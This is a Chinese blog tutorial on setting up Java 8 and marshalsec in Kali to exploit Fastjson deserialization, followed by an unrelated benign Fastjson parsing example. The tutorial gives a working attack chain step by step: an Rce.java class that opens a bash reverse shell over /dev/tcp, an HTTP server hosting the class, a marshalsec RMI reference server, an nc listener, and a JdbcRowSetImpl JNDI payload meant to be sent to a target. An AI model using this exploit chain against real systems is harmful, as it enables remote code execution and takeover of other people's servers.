java版本共存与fastjson反序列化rmi服务器的搭建

java 8下载

链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码:0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码:0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java

这里的参数意义如下:

-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。
-C 解压到指定路径

改个名字

cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0

解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑

export JAVA_HOME=/usr/local/java/jdk1.8.0

export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH

添加完成后点esc键输入wq进行保存

使用使配置文件生效

source /etc/profile

生效之后使用命令完成jdk版本共存

sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500

使用来切换版本

sudo update-alternatives --config java

在这里插入图片描述
这样就成功了
在这里插入图片描述

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt 

解压完成后进行配置系统变量编辑 /etc/profile

vim /etc/profile

输入i将变量添加到末尾

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

esc 输入wq保存
使用命令生效配置文件

source /etc/profile

检查是否安装完成

mvn -version

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

mvn clean package -DskipTests

在这里插入图片描述
他会哗哗哗下一堆东西
在这里插入图片描述
这样就说明编译好了看一眼我们的jar包就打好了
在这里插入图片描述

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

mkdir fastjson_payload

完成后创建java文件

vim rce.java

进行编辑下面代码,记得修改bash shell的ip及nc开放的端口

import java.lang.Runtime;
import java.lang.Process;
 
public class Rce {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

创建好后进行编译

javac Rce.java

如果提示没有javac进行一下命令安装重新编译

apt install default-jdk

利用marshalsec加载远程RCE类

编译完成后
在此页面开启一个网页服务

python -m http.server  8082

测试一下能否正常访问
在这里插入图片描述
可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件
在这里插入图片描述
新建窗口开启nc监听

nc -lvvp 10002

完成之后根据对方的fastjson版本构造payload
例:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}

将payload上传至数据包即可反弹shell

  • 18
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java中的Fastjson库提供了一种方便的方式来进行JSON序列化和反序列化操作。要使用Fastjson进行反序列化,你需要按照以下步骤进行操作: 1. 首先,确保你已经将Fastjson库添加到你的项目中。你可以通过Maven或者手动下载并导入jar文件来添加依赖。 2. 创建一个Java类,该类的结构应该与你要反序列化的JSON数据的结构相匹配。 3. 导入Fastjson的相关类,包括JSON和JSONObject。 4. 使用JSON类的parseObject()方法将JSON字符串转换为JSONObject对象。 5. 使用JSONObject对象的toJavaObject()方法将JSONObject转换为你定义的Java类对象。 下面是一个简单的示例代码,演示了如何使用Fastjson进行反序列化: ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Main { public static void main(String[] args) { // JSON数据 String jsonString = "{\"name\":\"John\",\"age\":30}"; // 将JSON字符串转换为JSONObject对象 JSONObject jsonObject = JSON.parseObject(jsonString); // 将JSONObject对象转换为Java对象 Person person = jsonObject.toJavaObject(Person.class); // 打印Java对象的属性值 System.out.println("Name: " + person.getName()); System.out.println("Age: " + person.getAge()); } } class Person { private String name; private int age; // 省略getter和setter方法 public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } ``` 在上面的示例中,我们首先将JSON字符串转换为JSONObject对象,然后将JSONObject对象转换为Person类的实例。最后,我们可以通过调用Person对象的getter方法来获取属性值。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值